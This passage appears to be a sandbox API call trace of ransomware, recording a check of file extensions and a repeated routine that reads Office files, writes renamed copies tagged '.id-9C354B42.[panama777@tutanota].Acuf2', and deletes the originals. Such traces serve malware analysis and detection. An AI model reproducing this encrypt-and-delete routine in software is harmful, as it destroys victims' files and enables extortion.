	[0262.058] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0262.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.058] lstrlenW (lpString=".zip") returned 4
	[0262.058] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0262.058] lstrlenW (lpString=".rar") returned 4
	[0262.058] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0262.058] lstrlenW (lpString=".bz2") returned 4
	[0262.058] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0262.058] lstrlenW (lpString=".7z") returned 3
	[0262.058] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0262.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.059] lstrlenW (lpString=".dbf") returned 4
	[0262.059] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0262.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.059] lstrlenW (lpString=".1cd") returned 4
	[0262.059] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0262.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveIntlResource.dll") returned 70
	[0262.059] lstrlenW (lpString=".jpg") returned 4
	[0262.059] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0262.059] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0262.059] lstrlenW (lpString="GROOVE_COL.HXC") returned 14
	[0262.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.060] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=626) returned 1
	[0262.060] CloseHandle (hObject=0x29c) returned 1
	[0262.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 0x20
	[0262.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.060] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.060] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0262.061] GetLastError () returned 0x0
	[0262.061] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x272, lpOverlapped=0x0) returned 1
	[0262.063] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x280, lpOverlapped=0x0) returned 1
	[0262.064] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.064] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0262.064] SetEndOfFile (hFile=0x2a4) returned 1
	[0262.064] CloseHandle (hObject=0x2a4) returned 1
	[0262.064] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.064] SetEndOfFile (hFile=0x29c) returned 1
	[0262.066] CloseHandle (hObject=0x29c) returned 1
	[0262.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 1
	[0262.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.067] lstrlenW (lpString=".doc") returned 4
	[0262.067] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.067] lstrlenW (lpString=".docx") returned 5
	[0262.067] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.067] lstrlenW (lpString=".pdf") returned 4
	[0262.067] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.067] lstrlenW (lpString=".xls") returned 4
	[0262.067] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.067] lstrlenW (lpString=".xlsx") returned 5
	[0262.067] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.067] lstrlenW (lpString=".ppt") returned 4
	[0262.067] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.067] lstrlenW (lpString=".zip") returned 4
	[0262.067] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.067] lstrlenW (lpString=".rar") returned 4
	[0262.067] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.067] lstrlenW (lpString=".bz2") returned 4
	[0262.067] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.067] lstrlenW (lpString=".7z") returned 3
	[0262.067] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.067] lstrlenW (lpString=".dbf") returned 4
	[0262.067] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.067] lstrlenW (lpString=".1cd") returned 4
	[0262.067] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.067] lstrlenW (lpString=".jpg") returned 4
	[0262.068] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.068] lstrlenW (lpString=".doc") returned 4
	[0262.068] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.068] lstrlenW (lpString=".docx") returned 5
	[0262.068] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.068] lstrlenW (lpString=".pdf") returned 4
	[0262.068] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.068] lstrlenW (lpString=".xls") returned 4
	[0262.068] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.068] lstrlenW (lpString=".xlsx") returned 5
	[0262.068] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.068] lstrlenW (lpString=".ppt") returned 4
	[0262.068] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.068] lstrlenW (lpString=".zip") returned 4
	[0262.068] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.068] lstrlenW (lpString=".rar") returned 4
	[0262.068] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.068] lstrlenW (lpString=".bz2") returned 4
	[0262.068] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.068] lstrlenW (lpString=".7z") returned 3
	[0262.068] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.068] lstrlenW (lpString=".dbf") returned 4
	[0262.068] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.068] lstrlenW (lpString=".1cd") returned 4
	[0262.068] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62
	[0262.068] lstrlenW (lpString=".jpg") returned 4
	[0262.068] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.069] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0262.069] lstrlenW (lpString="GROOVE_COL.HXT") returned 14
	[0262.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.071] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=218) returned 1
	[0262.071] CloseHandle (hObject=0x29c) returned 1
	[0262.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 0x20
	[0262.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.071] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.071] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0262.072] GetLastError () returned 0x0
	[0262.072] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xda, lpOverlapped=0x0) returned 1
	[0262.073] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0262.074] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.074] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0262.074] SetEndOfFile (hFile=0x2a4) returned 1
	[0262.074] CloseHandle (hObject=0x2a4) returned 1
	[0262.074] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.074] SetEndOfFile (hFile=0x29c) returned 1
	[0262.076] CloseHandle (hObject=0x29c) returned 1
	[0262.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 1
	[0262.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.077] lstrlenW (lpString=".doc") returned 4
	[0262.077] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0262.077] lstrlenW (lpString=".docx") returned 5
	[0262.077] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0262.077] lstrlenW (lpString=".pdf") returned 4
	[0262.077] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0262.077] lstrlenW (lpString=".xls") returned 4
	[0262.077] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0262.077] lstrlenW (lpString=".xlsx") returned 5
	[0262.077] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0262.077] lstrlenW (lpString=".ppt") returned 4
	[0262.077] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.077] lstrlenW (lpString=".zip") returned 4
	[0262.077] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0262.077] lstrlenW (lpString=".rar") returned 4
	[0262.077] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0262.077] lstrlenW (lpString=".bz2") returned 4
	[0262.077] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0262.077] lstrlenW (lpString=".7z") returned 3
	[0262.077] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.077] lstrlenW (lpString=".dbf") returned 4
	[0262.077] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.077] lstrlenW (lpString=".1cd") returned 4
	[0262.077] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.077] lstrlenW (lpString=".jpg") returned 4
	[0262.077] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.078] lstrlenW (lpString=".doc") returned 4
	[0262.078] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0262.078] lstrlenW (lpString=".docx") returned 5
	[0262.078] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0262.078] lstrlenW (lpString=".pdf") returned 4
	[0262.078] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0262.078] lstrlenW (lpString=".xls") returned 4
	[0262.078] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0262.078] lstrlenW (lpString=".xlsx") returned 5
	[0262.078] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0262.078] lstrlenW (lpString=".ppt") returned 4
	[0262.078] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.078] lstrlenW (lpString=".zip") returned 4
	[0262.078] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0262.078] lstrlenW (lpString=".rar") returned 4
	[0262.078] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0262.078] lstrlenW (lpString=".bz2") returned 4
	[0262.078] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0262.078] lstrlenW (lpString=".7z") returned 3
	[0262.078] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.078] lstrlenW (lpString=".dbf") returned 4
	[0262.078] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.078] lstrlenW (lpString=".1cd") returned 4
	[0262.078] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0262.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62
	[0262.078] lstrlenW (lpString=".jpg") returned 4
	[0262.078] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0262.079] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0262.079] lstrlenW (lpString="GROOVE_F_COL.HXK") returned 16
	[0262.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.079] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=111) returned 1
	[0262.079] CloseHandle (hObject=0x29c) returned 1
	[0262.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 0x20
	[0262.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.079] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.079] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0262.080] GetLastError () returned 0x0
	[0262.080] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x6f, lpOverlapped=0x0) returned 1
	[0262.081] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x70, lpOverlapped=0x0) returned 1
	[0262.082] ReadFile (in: hFile=0x29c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.082] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0262.082] SetEndOfFile (hFile=0x2a4) returned 1
	[0262.083] CloseHandle (hObject=0x2a4) returned 1
	[0262.083] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.083] SetEndOfFile (hFile=0x29c) returned 1
	[0262.086] CloseHandle (hObject=0x29c) returned 1
	[0262.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 1
	[0262.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.086] lstrlenW (lpString=".doc") returned 4
	[0262.086] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.086] lstrlenW (lpString=".docx") returned 5
	[0262.086] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.086] lstrlenW (lpString=".pdf") returned 4
	[0262.086] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.086] lstrlenW (lpString=".xls") returned 4
	[0262.086] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.086] lstrlenW (lpString=".xlsx") returned 5
	[0262.086] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.086] lstrlenW (lpString=".ppt") returned 4
	[0262.086] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.087] lstrlenW (lpString=".zip") returned 4
	[0262.087] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.087] lstrlenW (lpString=".rar") returned 4
	[0262.087] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.087] lstrlenW (lpString=".bz2") returned 4
	[0262.087] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.087] lstrlenW (lpString=".7z") returned 3
	[0262.087] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.087] lstrlenW (lpString=".dbf") returned 4
	[0262.087] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.087] lstrlenW (lpString=".1cd") returned 4
	[0262.087] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.087] lstrlenW (lpString=".jpg") returned 4
	[0262.087] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.087] lstrlenW (lpString=".doc") returned 4
	[0262.087] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.087] lstrlenW (lpString=".docx") returned 5
	[0262.087] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.087] lstrlenW (lpString=".pdf") returned 4
	[0262.087] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.087] lstrlenW (lpString=".xls") returned 4
	[0262.087] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.087] lstrlenW (lpString=".xlsx") returned 5
	[0262.087] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.087] lstrlenW (lpString=".ppt") returned 4
	[0262.088] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64
	[0262.088] lstrlenW (lpString=".zip") returned 4
	[0262.088] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.088] lstrlenW (lpString=".rar") returned 4
	[0262.088] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.088] lstrlenW (lpString=".bz2") returned 4
	[0262.088] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.088] lstrlenW (lpString=".7z") returned 3
